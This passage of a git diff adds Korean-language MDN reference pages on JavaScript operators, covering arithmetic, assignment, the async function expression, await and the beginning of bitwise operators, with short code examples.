+(2 ** 3) ** 2 // 64
+</pre>
+
+<p>결과의 부호를 뒤집으려면 다음과 같이 작성합니다.</p>
+
+<pre class="brush: js">-(2 ** 2) // -4
+</pre>
+
+<p>거듭제곱의 밑을 음수로 강제하려면 다음과 같이 작성합니다.</p>
+
+<pre class="brush: js">(-2) ** 2 // 4
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> JavaScript는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">비트 연산자 ^ (논리 XOR)</a>도 가지고 있습니다. <code>**</code>와 <code>^</code>는 다릅니다. (예 : <code>2 ** 3 === 8</code>이지만 <code>2 ^ 3 === 1</code>)</p>
+</div>
+
+<h2 id="증가"><a id="Increment" name="Increment">증가 (++)</a></h2>
+
+<p>증가 연산자는 피연산자를 증가(1을 덧셈)시키고, 그 값을 반환합니다.</p>
+
+<ul>
+ <li>피연산자 뒤에 붙여(예: <code>x++</code>) 접미사로 사용한 경우 증가하기 전의 값을 반환합니다.</li>
+ <li>피연산자 앞에 붙여(예: <code>++x</code>) 접두사로 사용한 경우 증가한 후의 값을 반환합니다.</li>
+</ul>
+
+<h3 id="구문_7">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x++ or ++x
+</pre>
+
+<h3 id="예제_7">예제</h3>
+
+<pre class="brush: js">// 접미사
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// 접두사
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="감소_--"><a id="Decrement" name="Decrement">감소 (--)</a></h2>
+
+<p>감소 연산자는 피연산자를 감소(1을 뺄셈)시키고, 그 값을 반환합니다.</p>
+
+<ul>
+ <li>피연산자 뒤에 붙여(예: <code>x--</code>) 접미사로 사용한 경우 감소하기 전의 값을 반환합니다.</li>
+ <li>피연산자 앞에 붙여(예: <code>--x</code>) 접두사로 사용한 경우 감소한 후의 값을 반환합니다.</li>
+</ul>
+
+<h3 id="구문_8">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x-- or --x
+</pre>
+
+<h3 id="예제_8">예제</h3>
+
+<pre class="brush: js">// 접미사
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// 접두사
+var a = 2;
+b = --a; // a = 1, b = 1
+</pre>
+
+<h2 id="단항_부정_-"><a name="Unary_negation">단항 부정 (-)</a></h2>
+
+<p>단항 부정 연산자는 피연산자의 앞에 위치하며 부호를 뒤집습니다.</p>
+
+<h3 id="구문_9">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> -x
+</pre>
+
+<h3 id="예제_9">예제</h3>
+
+<pre class="brush: js">var x = 3;
+y = -x; // y = -3, x = 3
+
+// 단항 부정 연산자는 숫자가 아닌 값을 숫자로 변환함
+var x = "4";
+y = -x; // y = -4</pre>
+
+<h2 id="단항_양부호"><a name="Unary_plus">단항 양부호 (+)</a></h2>
+
+<p>단항 양부호 연산자는 피연산자의 앞에 위치하며 피연산자의 값 그대로 평가되지만, 값이 숫자가 아닐 경우 숫자로 변환을 시도합니다. 단항 부정(-) 연산자도 숫자가 아닌 값을 변환할 수 있지만, 단항 양부호가 속도도 제일 빠르고 다른 연산도 수행하지 않으므로 선호해야 할 방법입니다. 문자열로 표현한 정수 및 부동소수점 실수, 문자열이 아닌 <code>true</code>, <code>false</code>, <code>null</code>도 변환할 수 있습니다. 10진수와 (앞에 "0x"가 붙은) 16진수 정수 모두 지원합니다. 음수도 지원하지만 16진수 음수에는 사용할 수 없습니다. 어떤 값을 분석할 수 없으면 {{jsxref("NaN")}}으로 평가됩니다.</p>
+
+<h3 id="구문_10">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> +x
+</pre>
+
+<h3 id="예제_10">예제</h3>
+
+<pre class="brush: js">+3     // 3
++"3"   // 3
++true  // 1
++false // 0
++null  // 0
++function(val) { return val } // NaN
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-additive-operators', 'Additive operators')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-postfix-expressions', 'Postfix expressions')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-11.5', 'Multiplicative operators')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-11.4', 'Unary operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">할당 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/assignment_operators/index.html b/files/ko/web/javascript/reference/operators/assignment_operators/index.html
new file mode 100644
index 0000000000..d7f195c803
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/assignment_operators/index.html
@@ -0,0 +1,394 @@
+---
+title: 할당 연산자
+slug: Web/JavaScript/Reference/Operators/Assignment_Operators
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators#Assignment_operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>할당 연산자</strong>는 오른쪽 피연산자의 값을 왼쪽 피연산자에 할당합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}</div>
+
+
+
+<h2 id="개요">개요</h2>
+
+<p>기본 할당연산자는 등호(<code>=</code>)로, 오른쪽 피연산자의 값을 왼쪽 피연산자에 할당합니다. 즉, <code>x = y</code>는 <code>y</code>의 값을 <code>x</code>에 할당힙니다. 다른 할당 연산자는 보통 표준 연산의 축약형으로, 다음 표에서 종류와 예시를 확인할 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>이름</th>
+   <th>단축 연산자</th>
+   <th>의미</th>
+  </tr>
+  <tr>
+   <td><a href="#Assignment">할당</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Addition_assignment">덧셈 할당</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">뺄셈 할당</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Multiplication_assignment">곱셈 할당</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Division_assignment">나눗셈 할당</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Remainder_assignment">나머지 연산 할당</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Exponentiation_assignment">지수 연산 할당</a></td>
+   <td><code>x **= y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift_assignment">왼쪽 시프트 할당</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift_assignment">오른쪽 시프트 할당</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift_assignment">부호없는 오른쪽 시프트 할당</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND_assignment">비트 AND 할당</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR_assignment">비트 XOR 할당</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR_assignment">비트 OR 할당</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="할당"><a name="Assignment">할당</a></h2>
+
+<p>단순 할당 연산자는 값을 변수에 할당합니다. 할당 연산자는 할당의 결과값으로 평가됩니다. 할당 연산자를 연속해서 사용해, 다수의 변수에 하나의 값을 한꺼번에 할당할 수 있습니다. 예제를 참고하세요.</p>
+
+<h4 id="구문">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x = y
+</pre>
+
+<h4 id="예제">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  x = 5
+//  y = 10
+//  z = 25
+
+x = y     // x는 10
+x = y = z // x, y, z 모두 25
+</pre>
+
+<h3 id="덧셈_할당"><a name="Addition_assignment">덧셈 할당</a></h3>
+
+<p>덧셈 할당 연산자는 변수에 오른쪽 피연산자의 값을 더하고, 그 결과를 변수에 할당합니다. 두 피연산자의 자료형이 덧셈 할당 연산자의 행동을 결정합니다. 덧셈 연산자처럼 합 또는 연결이 가능합니다. 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "덧셈 연산자", "#Addition", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_2">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x += y
+<strong>의미:</strong> x = x + y
+</pre>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  foo = "foo"
+//  bar = 5
+//  baz = true
+
+
+// Number + Number -&gt; 합
+bar += 2 // 7
+
+// Boolean + Number -&gt; 합
+baz += 1 // 2
+
+// Boolean + Boolean -&gt; 합
+baz += false // 1
+
+// Number + String -&gt; 연결
+bar += 'foo' // "5foo"
+
+// String + Boolean -&gt; 연결
+foo += false // "foofalse"
+
+// String + String -&gt; 연결
+foo += 'bar' // "foobar"
+</pre>
+
+<h3 id="뺄셈_할당"><a name="Subtraction_assignment">뺄셈 할당</a></h3>
+
+<p>뺄셈 할당 연산자는 변수에서 오른쪽 피연산자의 값을 빼고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "뺄셈 연산자", "#Subtraction", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_3">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x -= y
+<strong>의미:</strong> x = x - y
+</pre>
+
+<h4 id="예제_3">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  bar = 5
+
+bar -= 2     // 3
+bar -= "foo" // NaN
+</pre>
+
+<h3 id="곱셈_할당"><a name="Multiplication_assignment">곱셈 할당</a></h3>
+
+<p>곱셈 할당 연산자는 변수에 오른쪽 피연산자의 값을 곱하고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "곱셈 연산자", "#Multiplication", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_4">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x *= y
+<strong>의미:</strong> x = x * y
+</pre>
+
+<h4 id="예제_4">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  bar = 5
+
+bar *= 2     // 10
+bar *= "foo" // NaN
+</pre>
+
+<h3 id="나눗셈_할당"><a name="Division_assignment">나눗셈 할당</a></h3>
+
+<p>나눗셈 할당 연산자는 변수를 오른쪽 피연산자로 나누고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "나눗셈 연산자", "#Division", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_5">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x /= y
+<strong>의미:</strong> x = x / y
+</pre>
+
+<h4 id="예제_5">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  bar = 5
+
+bar /= 2     // 2.5
+bar /= "foo" // NaN
+bar /= 0     // Infinity
+</pre>
+
+<h3 id="나머지_연산_할당"><a name="Remainder_assignment">나머지 연산 할당</a></h3>
+
+<p>나머지 연산 할당은 변수를 오른쪽 피연산자로 나눈 나머지를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "나머지 연산자", "#Remainder", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_6">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x %= y
+<strong>의미:</strong> x = x % y
+</pre>
+
+<h4 id="예제_6">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  bar = 5
+
+bar %= 2     // 1
+bar %= "foo" // NaN
+bar %= 0     // NaN
+</pre>
+
+<h3 id="거듭제곱_할당"><a id="Exponentiation_assignment" name="Exponentiation_assignment">거듭제곱 할당</a></h3>
+
+<p>거듭제곱 할당 연산자는 변수를 오른쪽 피연산자만큼 거듭제곱한 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Arithmetic_Operators", "거듭제곱 연산자", "#Exponentiation", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_7">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x **= y
+<strong>의미:</strong> x = x ** y
+</pre>
+
+<h4 id="예제_7">예제</h4>
+
+<pre class="brush: js">// 다음과 같은 변수를 가정
+//  bar = 5
+
+bar **= 2     // 25
+bar **= "foo" // NaN</pre>
+
+<h3 id="왼쪽_시프트_할당"><a name="Left_shift_assignment">왼쪽 시프트 할당</a></h3>
+
+<p>왼쪽 시프트 할당 연산자는 변수의 비트를 오른쪽 피연산자의 값만큼 왼쪽으로 이동하고, 그 결과를 변수에 할당합니다. 더 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "left shift operator", "#Left_shift", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_8">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &lt;&lt;= y
+<strong>의미:</strong> x = x &lt;&lt; y
+</pre>
+
+<h4 id="예제_8">예제</h4>
+
+<pre class="brush: js">var bar = 5; //  (00000000000000000000000000000101)
+bar &lt;&lt;= 2; // 20 (00000000000000000000000000010100)
+</pre>
+
+<h3 id="오른쪽_시프트_할당"><a name="Right_shift_assignment">오른쪽 시프트 할당</a></h3>
+
+<p>오른쪽 시프트 할당 연산자는 변수의 비트를 오른쪽 피연산자의 값만큼 우측으로 이동하고, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "right shift operator", "#Right_shift", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_9">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &gt;&gt;= y
+<strong>의미:</strong> x = x &gt;&gt; y
+</pre>
+
+<h4 id="예제_9">예제</h4>
+
+<pre class="brush: js">var bar = 5; //   (00000000000000000000000000000101)
+bar &gt;&gt;= 2;   // 1 (00000000000000000000000000000001)
+
+var bar -5; //    (-00000000000000000000000000000101)
+bar &gt;&gt;= 2;  // -2 (-00000000000000000000000000000010)
+</pre>
+
+<h3 id="부호_없는_오른쪽_시프트_할당"><a name="Unsigned_right_shift_assignment">부호 없는 오른쪽 시프트 할당</a></h3>
+
+<p>부호 없는 오른쪽 시프트 할당 연산자는 변수의 비트를 오른쪽 피연산자의 값만큼 우측으로 이동하고, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", " unsigned right shift operator", "#Unsigned_right_shift", 1)}}을 참고하세요.</p>
+
+<h4 id="구문_10">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &gt;&gt;&gt;= y
+<strong>의미:</strong> x = x &gt;&gt;&gt; y
+</pre>
+
+<h4 id="예제_10">예제</h4>
+
+<pre class="brush: js">var bar = 5; //   (00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2;  // 1 (00000000000000000000000000000001)
+
+var bar = -5; // (-00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2; // 1073741822 (00111111111111111111111111111110)</pre>
+
+<h3 id="비트_AND_할당"><a name="Bitwise_AND_assignment">비트 AND 할당</a></h3>
+
+<p>비트 AND 할당 연산자는 양쪽 피연산자의 이진 표현을 AND 연산한 후, 그 결과를 변수에 할당합니다. 자세한 내용은{{jsxref("Operators/Bitwise_Operators", "bitwise AND operator", "#Bitwise_AND", 1)}}을 참고하세요.</p>
+
+<h4 id="구문_11">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x &amp;= y
+<strong>의미:</strong> x = x &amp; y
+</pre>
+
+<h4 id="예제_11">예제</h4>
+
+<pre class="brush: js">var bar = 5;
+// 5:     00000000000000000000000000000101
+// 2:     00000000000000000000000000000010
+bar &amp;= 2; // 0
+</pre>
+
+<h3 id="비트_XOR_할당"><a name="Bitwise_XOR_assignment">비트 XOR 할당</a></h3>
+
+<p>비트 XOR 할당 연산자는 양쪽 피연산자의 이진 표현을 XOR 연산한 후, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "bitwise XOR operator", "#Bitwise_XOR", 1)}}를 참고하세요.</p>
+
+<h4 id="구문_12">구문</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x ^= y
+<strong>의미:</strong> x = x ^ y
+</pre>
+
+<h4 id="예제_12">예제</h4>
+
+<pre class="brush: js">var bar = 5;
+bar ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h3 id="비트_OR_할당"><a name="Bitwise_OR_assignment">비트 OR 할당</a></h3>
+
+<p>비트 OR 할당 연산자는 양쪽 피연산자의 이진 표현을 OR 연산한 후, 그 결과를 변수에 할당합니다. 자세한 내용은 {{jsxref("Operators/Bitwise_Operators", "bitwise OR operator", "#Bitwise_OR", 1)}}를 참고하세요.</p>
+
+<h4 id="문법">문법</h4>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x |= y
+<strong>의미:</strong> x = x | y
+</pre>
+
+<h4 id="예제_13">예제</h4>
+
+<pre class="brush: js">var bar = 5;
+bar |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h2 id="예제_14">예제</h2>
+
+<h3 id="다른_할당_연산자를_갖는_왼쪽_피연산자">다른 할당 연산자를 갖는 왼쪽 피연산자</h3>
+
+<p>드물게, 할당 연산자(예: <code>x += y</code>)와 그 의미를 나타낸 표현(<code>x = x + y</code>)이 동일하지 않은 경우가 있습니다. 할당 연산자의 왼쪽 피연산자가 다른 할당 연산자를 포함할 때, 왼쪽 피연산자는 한 번만 평가됩니다. 예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: js">a[i++] += 5         // i는 한 번만 평가됨
+a[i++] = a[i++] + 5 // i는 두 번 평가됨
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.assignment")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">산술 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/async_function/index.html b/files/ko/web/javascript/reference/operators/async_function/index.html
new file mode 100644
index 0000000000..d1ec146ca4
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/async_function/index.html
@@ -0,0 +1,96 @@
+---
+title: async function 표현식
+slug: Web/JavaScript/Reference/Operators/async_function
+translation_of: Web/JavaScript/Reference/Operators/async_function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>async function</code></strong> 키워드는 표현식 내에서 <code>async</code> 함수를 정의하기 위해 사용됩니다.</p>
+
+<p>또한 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function" title="The async function keyword can be used to define async functions inside expressions.">async function statement</a>을 사용하여 async 함수를 정의할 수 있습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">async function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { <em>statements </em>}</pre>
+
+<p>ES2015에서와 같이 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>를 사용해도 됩니다.</p>
+
+<h3 id="인수">인수</h3>
+
+<dl>
+ <dt><code><var>name</var></code></dt>
+ <dd>함수 이름. 생략가능하며 이경우함수는 <em>anonymous</em> 형식임  이름은 함수 몸체에 대해 지역적으로 사용.</dd>
+ <dt><code><var>paramN</var></code></dt>
+ <dd>함수에 전달될 인수의 이름.</dd>
+ <dt><code><var>statements</var></code></dt>
+ <dd>함수 몸체를 구성하는 명령문들.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>async function</code> 표현식은 {{jsxref('Statements/async_function', '<code>async function</code> 선언')}} 문법과 유사하며, 거의 동일합니다. <code>async function</code> 표현식과 <code>async function</code> 선언문의 주요 차이점은 익명함수로써의 사용 여부로, <code>async function</code> 표현식은 함수 이름을 생략하면 익명함수를 만듭니다. <code>async function</code> 표현식은 {{Glossary("IIFE")}}(즉시실행함수)로 사용할 수 있습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions">functions</a></code>문서를 참고하세요.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<pre><code>function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+
+var add = async function(x) { // async function 표현식을 변수에 할당
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+};
+
+add(10).then(v =&gt; {
+  console.log(v);  // 4초 뒤에 60 출력
+});
+
+
+(async function(x) { // async function 표현식을 IIFE로 사용
+  var p_a = resolveAfter2Seconds(20);
+  var p_b = resolveAfter2Seconds(30);
+  return x + await p_a + await p_b;
+})(10).then(v =&gt; {
+  console.log(v);  // 2초 뒤에 60 출력
+});</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("javascript.operators.async_function_expression")}} </div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/await/index.html b/files/ko/web/javascript/reference/operators/await/index.html
new file mode 100644
index 0000000000..00b5fd3eff
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/await/index.html
@@ -0,0 +1,137 @@
+---
+title: await
+slug: Web/JavaScript/Reference/Operators/await
+translation_of: Web/JavaScript/Reference/Operators/await
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div><code>await</code>연산자는 {{jsxref("Promise")}}를 기다리기 위해 사용됩니다. 연산자는 {{jsxref("Statements/async_function", "async function")}} 내부에서만 사용할 수 있습니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">[<em>rv</em>] = await <em>expression</em>;</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>{{jsxref("Promise")}} 혹은 기다릴 어떤 값입니다.</dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>{{jsxref("Promise")}}에 의해 만족되는 값이 반환됩니다. {{jsxref("Promise")}}가 아닌 경우에는 그 값 자체가 반환됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>await</code> 문은 <code>Promise</code>가 fulfill되거나 <code>reject</code> 될 때까지 <code>async</code> 함수의 실행을 일시 정지하고, <code>Promise</code>가 fulfill되면 <code>async</code> 함수를 일시 정지한 부분부터 실행합니다. 이때  <code>await</code> 문의 반환값은 <code>Promise</code> 에서 fulfill된 값이 됩니다.</p>
+
+<p>만약 <code>Promise</code>가 <code>reject</code>되면, <code>await</code> 문은 <code>reject</code>된 값을 <code>throw</code>합니다.</p>
+
+<p><code>await</code> 연산자 다음에 나오는 문의 값이 <code>Promise</code>가 아니면 해당 값을 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">resolved Promise</a>로 변환시킵니다.</p>
+
+<p>An <code>await</code> can split execution flow, allowing the caller of the <code>await</code>'s function to resume execution before the deferred continuation of the <code>await</code>'s function. After the <code>await</code> defers the continuation of its function, if this is the first <code>await</code> executed by the function, immediate execution also continues by returning to the function's caller a pending <code>Promise</code> for the completion of the <code>await</code>'s function and resuming execution of that caller.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>만약 <code>Promise</code>가 <code>await</code>에 넘겨지면, <code>await</code>은 <code>Promise</code>가 fulfill되기를 기다렸다가, 해당 값을 리턴합니다.</p>
+
+<pre class="brush: js notranslate">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function f1() {
+  var x = await resolveAfter2Seconds(10);
+  console.log(x); // 10
+}
+
+f1();
+</pre>
+
+<p>{{jsxref("Global_Objects/Promise/then", "Thenable objects")}} will be fulfilled just the same.</p>
+
+<pre class="notranslate"><code>async function f2() {
+  const thenable = {
+    then: function(resolve, _reject) {
+      resolve('resolved!')
+    }
+  };
+  console.log(await thenable); // resolved!
+}
+
+f2();</code></pre>
+
+<p>만약 값이 <code>Promise</code>가 아니라면, 해당 값은 <code>resolve</code>된 <code>Promise</code>로 변환되며 이를 기다립니다.</p>
+
+<pre class="brush: js notranslate">async function f2() {
+  var y = await 20;
+  console.log(y); // 20
+}
+f2();
+</pre>
+
+<p>만약 <code>Promise</code>가 <code>reject</code>되면, <code>reject</code>된 값이 <code>throw</code>됩니다.</p>
+
+<pre class="brush: js notranslate">async function f3() {
+  try {
+    var z = await Promise.reject(30);
+  } catch(e) {
+    console.log(e); // 30
+  }
+}
+f3();
+</pre>
+
+<p>try블럭 없이 rejected <code>Promise</code>다루기</p>
+
+<pre class="notranslate"><code>var response = await promisedFunction().catch((err) =&gt; { console.error(err); });
+// response will be undefined if the promise is rejected</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-async-function-definitions", "async functions")}}</td>
+   <td>{{Spec2("ESDraft")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2018", "#sec-async-function-definitions", "async functions")}}</td>
+   <td>{{Spec2("ES2018")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2017", "#sec-async-function-definitions", "async functions")}}</td>
+   <td>{{Spec2("ES2017")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.operators.await")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/bitwise_operators/index.html b/files/ko/web/javascript/reference/operators/bitwise_operators/index.html
new file mode 100644
index 0000000000..e94e176e08
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/bitwise_operators/index.html
@@ -0,0 +1,540 @@
+---
+title: 비트 연산자
+slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>비트 연산자</strong>는 피연산자를 10진수, 16진수, 8진수가 아니라, 32개의 비트(0과 1) 집합으로 취급합니다. 예를 들어, 10진수 9의 2진수 표기법은 1001입니다. 이렇게, 비트 연산자는 값의 2진수 표현을 사용해 연산하지만, 결과는 표준 JavaScript 숫자 값으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}</div>
+
+
+
+<p>다음은 JavaScript의 비트 연산자를 요약한 표입니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>연산자</th>
+   <th>사용방법</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND">비트 AND</a></td>
